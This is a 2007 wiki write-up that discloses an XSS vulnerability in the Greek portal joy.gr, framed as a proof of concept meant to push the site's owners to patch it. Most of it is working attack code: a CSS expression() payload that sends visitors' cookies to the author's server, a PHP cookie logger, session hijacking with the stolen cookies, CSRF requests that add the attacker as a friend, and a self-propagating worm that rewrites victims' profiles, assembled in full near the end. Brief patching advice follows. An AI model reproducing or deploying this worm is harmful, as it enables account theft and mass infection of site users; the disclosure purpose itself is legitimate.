Joy XSS
From Dionyziz
Joy.gr is a popular Greek youth community portal. It was mainly developed by tml. It is considered one of the best examples of what the Greek web has to show. According to the author's recent post, he believes that the Greek web is years behind everything else, and that is because of many reasons, one of which is that sites are not accessible without the "www." prefix. As a reply to tml, I would like to point out that another, much more important, reason for Greek webs being years behind is that no care is taken for important security issues.
Although the authors have been informed about the security issue, they decided they won't fix this bug.
In this document, I will describe my proof-of-concept script that uses an XSS vulnerability on tml's website, joy.gr, to illustrate how security vulnerabilities can be used. My intentions for building and running this exploit is to illustrate how important security measures are, and why they contribute a lot for an up-to-date and decent web site. Apart from a reply to the recent post on tml's blog, my intention is to also force the administrators to patch their site as soon as possible, by explaining right here how this would be possible. Please bare with me and accept this wiki entry as a display of good faith, since it illustrates step-by-step how the exploit works and how to make a patch. Unfortunately, the site is incredibly slow from times to times (another much more important issue than the "www." prefix IMHO), which caused to the development of this script to take many more hours than initially anticipated, as testing was practically impossible.
Although I'm natively Greek, this post is in English so that fellow programmers from different areas of the world can read along and hopefully understand a lot about security and whatnot. Although I'm using Firefox, most users are still using Internet Explorer. This exploit is designed to affect Internet Explorer users only.
My colleague kostis90gr informed me that a similar vulnerability exists that also affects Firefox users with the Flash plugin installed.
Recently, I discovered that the newer website me.gr of the same authors is also exploitable to the same bug explored below. In fact, the website allows direct CSS input without even the need to hack your way through to create a "link" tag.
Contents |
[edit] XSS
XSS, or Cross-site Scripting, is a security vulnerability that started occurring the past few years among web sites that allow dynamic Javascript and CSS content, especially the ones operating using AJAX. To be able to follow the technology used in the security exploit I am about to present, a technological background of what XSS is and how it operates might be necessary, along, of course, with a moderate understanding of client-side technologies such as Javascript, CSS, and AJAX.
[edit] Stylesheets
Although the site in question does not use AJAX itself, it allows users to format their user profiles using custom CSS files hosted on their own servers. This can easily be done by modifying the user settings and changing their "First name" to something along the lines of "Dionysis <link href='http://www.dionyziz.com/joy.css' type='text/css' rel='stylesheet'/>". As you can see, the first name is set to include some HTML code that is meant to load an external CSS file. Although the site properly escapes other HTML such as <script></script> and so forth to avoid XSS attacks, the link tag is intentionally left unescaped to allow users to customize their userpages using their own stylesheets. This yields to an XSS vulnerability using the CSS "expression()" keyword.
[edit] A word on expression()
Internet Explorer 5, 6 and 7 allow definition of dynamic CSS using the expression() keyword. Like so:
body { background-color: expression( document.getElementById( 'example' ).value ); }
This is basically equivalent to having a Javascript file executing every few seconds reset the background-color style attribute of your body to the value of the "example" field. For a more in-depth explanation, read about the expression keyword at MSDN.
[edit] Executing arbitrary Javascript code
Now that joy allows us to attach any CSS file on our profile, we can use expression() to execute arbitrary Javascript code on any Internet Explorer user who visits our profile. Let us create a Javascript function in order to allow multiple Javascript lines to make it easier to develop our exploit from now on. Care should be taken to use a CSS attribute that will have to be evaluated at least once. The body background-color attribute is sufficient. We want our exploit code to be executed only once, but Internet Explorer evaluates expression() multiple times to detect changes. We will use a flag variable and define it during first execution, then check if it is undefined before running any code.
body { background-color: expression( if ( typeof zzz == 'undefined' ) { void( zzz = { play: function () { alert( 'XSS!' ); } } ) + zzz.play() } ); }
This will check if the variable "zzz" is undefined, and if so, it will define it as a Javascript dictionary (i.e. object, or associative array) containing the key "play" which points to a lambda-style function. For now, this function simply contains an alert. We are using the void() wrapper to avoid zzz from being used directly. It will return undefined which we then add zzz.play() to, causing NaN to be returned. This expression is then assigned as the background-color of body, yielding to no particular results.
From now on, we have full control over the client's javascript by deploying additional, multiline code inside the play function.
[edit] Stealing Cookies
The first and most obvious thing to do is to steal cookies. They're tasty, yummy, and delicious. Since our Javascript is executing within the joy.gr domain, we have a wonderful same origin policy that allows us to access document.cookie, exposing all user cookies to us. Let's write some Javascript to send us the cookies of the particular user:
body { background-color: expression( if ( typeof zzz == 'undefined' ) { void( zzz = { play: function () { xss = new Image( 100, 100 ); xss.src = "http://www.dionyziz.com/joycommit.php?c=" + encodeURIComponent( document.cookie ); } } ) + zzz.play() } ); }
Awesome. Now our script will create an image and assign a URL to it. The browser will then try to load the image by fetching that URL. In the URL, I have added an additional GET parameter, c, whose value is assigned to document.cookie. A PHP script can be used on the other side as a simple method to save the cookies passed to it. Let us just have it append the stolen cookies to a file, along with the IP address of the owner:
<?php function UserIp() { return empty( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ? $_SERVER[ 'REMOTE_ADDR' ] : $_SERVER[ 'HTTP_CLIENT_IP' ]; } $fh = fopen( 'cookies.txt' , 'a' ); fwrite( $fh, UserIp() . ' ' . $_GET[ 'c' ] . "\n" ); fclose( $fh ); ?>
Now we can simply wait for somebody to visit our profile, and we will see their cookies in our file:
192.168.1.2 nauth=dionyziz:aegyA56Ts0o; nsid=7d223a05906fb71ac2798cb303a9a12d
Perfect. Now I can log in as them, simply by clearing my existing cookies and using this simple Javascript code in my address bar when visiting joy.gr:
void(document.cookie = 'nauth=dionyziz:aegyA56Ts0o; nsid=7d223a05906fb71ac2798cb303a9a12d')
Refresh, and I'm in. I will perhaps also have to modify my cookie to use ".joy.gr" instead of "joy.gr" in order to properly use it to its full potential:
void(document.cookie = 'nauth=dionyziz:aegyA56Ts0o; nsid=7d223a05906fb71ac2798cb303a9a12d; domain=.joy.gr')
[edit] Making Friends
It's great when I can make friends easily using just a line of code. Probably because I don't have many in real life. Let's make everybody who visits my profile add me to their "friends" and "people I find sexy".
In joy.gr, all you have to do in order to add somebody to one of these two lists is, after you log in, visit a GET URL passing the target user id as a parameter. This is yet another security issue of the site, as these URLs are severe user actions that modify the server-side state, and should be declared as POST according to the HTTP Specification.
Let's modify our script to use this vulnerability to make all the boys (and girls) from joy.gr think I'm sexy:
body { background-color: expression( if ( typeof zzz == 'undefined' ) { void( zzz = { play: function () { xss = new Image( 100, 100 ); xss.src = "http://www.dionyziz.com/joycommit.php?c=" + encodeURIComponent( document.cookie ); xss2 = new Image( 100, 100 ); xss2.src = "http://www.joy.gr/relations/c/add-friend.rb?oid=707941"; xss3 = new Image( 100, 100 ); xss3.src = "http://www.joy.gr/relations/c/add-sexy.rb?oid=707941"; } } ) + zzz.play() } ); }
I'm using the image method again to invoke a GET request from the browser. 707941 is my userid.
Now everyone that looks at my profile will add me to their "friends" and "people I find sexy". Joy!
[edit] Finding the userid
I found my userid by looking at my "Profile Edit" page source, as it is passed using the field "uid" in a hidden form input.
Here is a very simplified, yet working, version of the "Edit Profile" page HTML used for the purposes of this essay:
<html> <body> <form action="http://www.joy.gr/n2/id/profile-form.rb" method="post"> <input type="hidden" name="uid" value="707941"/> <input type="text" name="first_name" value="" /> <input type="submit" /> </form> </body> </html>
As you can see, the userid is clearly visible in the uid field. One can use this to obtain the userid and use it as above. However, the userid is a much more important value, and can be used for other things as well. Let us develop a small Javascript snippet that, given the HTML code of the "Edit Profile" page, extracts both the userid and the first name of the user. Assuming that the HTML code of that page is available in the "html" variable:
startx = '<input type="hidden" name="uid" value="'; endx = '"'; starty = '<input type="text" name="first_name" value="'; endy = '"'; start = html.indexOf( startx ); end = html.indexOf( endx , start + startx.length + 1 ); uid = html.substring( start + startx.length, end ); start = html.indexOf( starty ); end = html.indexOf( endy , start + starty.length + 1 ); fname = html.substring( start + starty.length, end );
Simple enough. Now the "uid" variable contains the userid, and the "fname" variable contains the first name of the user.
[edit] 'jaxying
Now, assuming that we want to obtain the userid and first name of the user who is currently viewing our profile, things will have to get slightly more complex. Let us use XMLHTTP to fetch the "Edit Profile" page via Javascript for the current user. Since the same origin policy still applies, we can read the page as if we were logged in as that user. We'll need to develop a small AJAX handler. Let us add two functions to our "zzz" variable that perform AJAX initialization and requests. The first function, "jaxian", converts the variables from a native Javascript dictionary to a URL encoded string, then calls the second function. The second function, "jaxy", performs an XMLHTTP request using the URL, method, and request parameters specified. When successful, it calls the callback function passing the result as a parameter.
zzz = { jaxian: function ( url, method, params, callback ) { req = []; for ( parameter in params ) { req.push( encodeURIComponent( parameter ) + '=' + encodeURIComponent( params[ parameter ] ) ); } zzz.jaxy( url , method , req.join( '&' ) , callback ); }, jaxy: function ( url, method, req, callback ) { try { xh = new ActiveXObject( "Msxml2.XMLHTTP" ); } catch ( e ) { try { xh = new ActiveXObject( "Microsoft.XMLHTTP" ); } catch ( e ) { return false; } } if ( method == "GET" ) { xh.open( "GET", url + "?" + req, true ); req = ""; } else { // POST xh.open( "POST", url, true ); // and add the variables to the HTTP header xh.setRequestHeader( "Method", "POST " + url + " HTTP/1.1" ); xh.setRequestHeader( "Content-Type", "application/x-www-form-urlencoded" ); } xh.onreadystatechange = function() { if ( xh.readyState == 4 ) { callback( xh ); } }; xh.send( req ); } };
If you're familiar with AJAX this should be simple enough. Since our exploit only affects Internet Explorer, my "xh" object creation is limited to ActiveX there. This code is very trivial, as it just constructs a basic XMLHTTP object and performs a request.
Let's use this code to obtain the userid and first name of the currently logged in user:
getuserid = zzz.jaxian( "/id/edit-profile.sx" , "GET" , {} , function ( xh ) { startx = '<input type="hidden" name="uid" value="'; endx = '"'; starty = '<input type="text" name="first_name" value="'; endy = '"'; start = xh.responseText.indexOf( startx ); end = xh.responseText.indexOf( endx , start + startx.length + 1 ); uid = xh.responseText.substring( start + startx.length, end ); start = xh.responseText.indexOf( starty ); end = xh.responseText.indexOf( endy , start + starty.length + 1 ); fname = xh.responseText.substring( start + starty.length, end ); } );
This function just performs an XMLHTTP request on the edit-profile page using GET, then, when (and if) it succeeds, it parses the result to extract the userid and first name of the user in question as we did above.
[edit] Distributing
Great. So we have the cookies of the victim. And they've added us as friends. And they think we're sexy. And we know their first name and userid. Now, time to distribute. The same way we edited our profile form to use our custom CSS, we will have our victim modify their own profile to use our CSS. So that everybody who visits their profile will add us as friends and think we're sexy. And we'll get their cookies too. And their profile will, in turn, be modified to use our CSS. And so forth, until all users have been converted.
Simple enough, all we need to do is perform a POST request to the "Edit Profile" actionpage impersonating the user. The form is submitted to /n2/id/profile-form.rb, so we just need to send a few POST variables there.
In order to avoid multiple infections, we shall get the first name of the user until the first space, and append a space and our infective "<link />". Hence, the next time the user runs the script, they will not be re-infected.
getuserid = zzz.jaxian( "/id/edit-profile.sx" , "GET" , {} , function ( xh ) { startx = '<input type="hidden" name="uid" value="'; endx = '"'; starty = '<input type="text" name="first_name" value="'; endy = '"'; start = xh.responseText.indexOf( startx ); end = xh.responseText.indexOf( endx , start + startx.length + 1 ); uid = xh.responseText.substring( start + startx.length, end ); start = xh.responseText.indexOf( starty ); end = xh.responseText.indexOf( endy , start + starty.length + 1 ); fname = xh.responseText.substring( start + starty.length, end ); fnames = fname.indexOf( " " ); if ( fnames != -1 ) { fname = fname.substring( 0, fnames ); } fname += "<link href='http://dionyziz.com/joy.css' rel='stylesheet' type='text/css' />"; jx = zzz.jaxian( "/n2/id/profile-form.rb", "POST", { 'uid': uid, 'first_name': fname }, function ( xh ) {} ); } );
As you can see, we first perform a request GET on the "Edit Settings" page to extract the userid and first name. We parse the result to get these attributes, as described above. Afterwards, we get only the first part of the First Name of the user, infect it by adding a link to our CSS file, and then send a POST request to the "Edit Settings" actionpage to submit the infected data.
Now everybody that visits their userpage will be infected too. And everybody that visits their friends' userpages will be infected too. And their friends' friends.
[edit] Putting it together
Here is the final proof-of-concept script. All one has to do in order to use this is to replace the path inside the CSS with their own CSS URL, and change their userid to their own userid, which they can find from the "Edit Settings" page as described above. This script is here for educational purposes only and to illustrate the vulnerability.
/* Copyright (c) 2007, Dionysis "dionyziz" Zindros. Proof of concept for XSS Security Vulnerability on joy.gr userpages, accepting non-validated user css from external URLs. This script has been developed for educational purposes only. For a detailed description on how this script works and an explanation of how to patch the site, please see the following URL: http://dionyziz.com/Joy_XSS */ body { background-color: expression( if ( typeof zzz == 'undefined' ) { void( zzz = { play: function () { xss = new Image( 100, 100 ); xss.src = "http://www.dionyziz.com/joycommit.php?c=" + encodeURIComponent( document.cookie ); xss2 = new Image( 100, 100 ); xss2.src = "http://www.joy.gr/relations/c/add-friend.rb?oid=707941"; xss3 = new Image( 100, 100 ); xss3.src = "http://www.joy.gr/relations/c/add-sexy.rb?oid=707941"; zzz.jaxian( "/id/edit-profile.sx" , "GET" , {} , function ( xh ) { startx = '<input type="hidden" name="uid" value="'; endx = '"'; starty = '<input type="text" name="first_name" value="'; endy = '"'; start = xh.responseText.indexOf( startx ); end = xh.responseText.indexOf( endx , start + startx.length + 1 ); uid = xh.responseText.substring( start + startx.length, end ); start = xh.responseText.indexOf( starty ); end = xh.responseText.indexOf( endy , start + starty.length + 1 ); fname = xh.responseText.substring( start + starty.length, end ); fnames = fname.indexOf( " " ); if ( fnames != -1 ) { fname = fname.substring( 0, fnames ); } fname += "<link href='http://www.dionyziz.com/joy.css' rel='stylesheet' type='text/css' />"; jx = zzz.jaxian( "/n2/id/profile-form.rb", "POST", { 'uid': uid, 'first_name': fname }, function ( xh ) {} ); } ); }, jaxian: function ( url, method, params, callback ) { req = []; for ( parameter in params ) { req.push( encodeURIComponent( parameter ) + '=' + encodeURIComponent( params[ parameter ] ) ); } zzz.jaxy( url , method , req.join( '&' ) , callback ); }, jaxy: function ( url, method, req, callback ) { try { xh = new ActiveXObject( "Msxml2.XMLHTTP" ); } catch (e) { try { xh = new ActiveXObject( "Microsoft.XMLHTTP" ); } catch (e) { return false; } } if ( method == "GET" ) { xh.open( "GET", url + "?" + req, true ); req = ""; } else { // POST xh.open( "POST", url, true ); // and add the variables to the HTTP header xh.setRequestHeader( "Method", "POST " + url + " HTTP/1.1" ); xh.setRequestHeader( "Content-Type", "application/x-www-form-urlencoded" ); } xh.onreadystatechange = function() { if ( xh.readyState == 4 ) { callback( xh ); } }; xh.send( req ); } } ) + zzz.play() } ); }
[edit] Estimate
If this script was about to go up, the whole community using Internet Explorer would have been infected in about 20 hours. By their database design, the site would most probably be down after that, since it wouldn't be able to handle people adding me to their friends for every profile view -- being a community site, I'm sure their profiles get the most hits than any other of their pages.
[edit] Patching
First off, the GET URLs that point to actionpages should be changed to use HTTP POST. This includes the "add to sexy people" and "add to friends" URLs.
Regarding the CSS issue, this problem is a mistake by architecture. Allowing users to use external non-validated CSS hosted by users themselves is insecure. There are two solutions to this problem:
- Disable the use of CSS
- Host the CSS yourself
[edit] Disabling the use of CSS
The most obvious solution: do not allow users to use special HTML characters in their form fields. Use h to html escape user input and disallow use of the "<link />" tag.
[edit] Host the CSS yourself
Have users submit a URL to the CSS or paste their CSS, then have your server download the CSS from the submitted URL or read it from the submitted input. Store the CSS in your database after validating it by running it through a whitelist parser that removes suspicious entries.


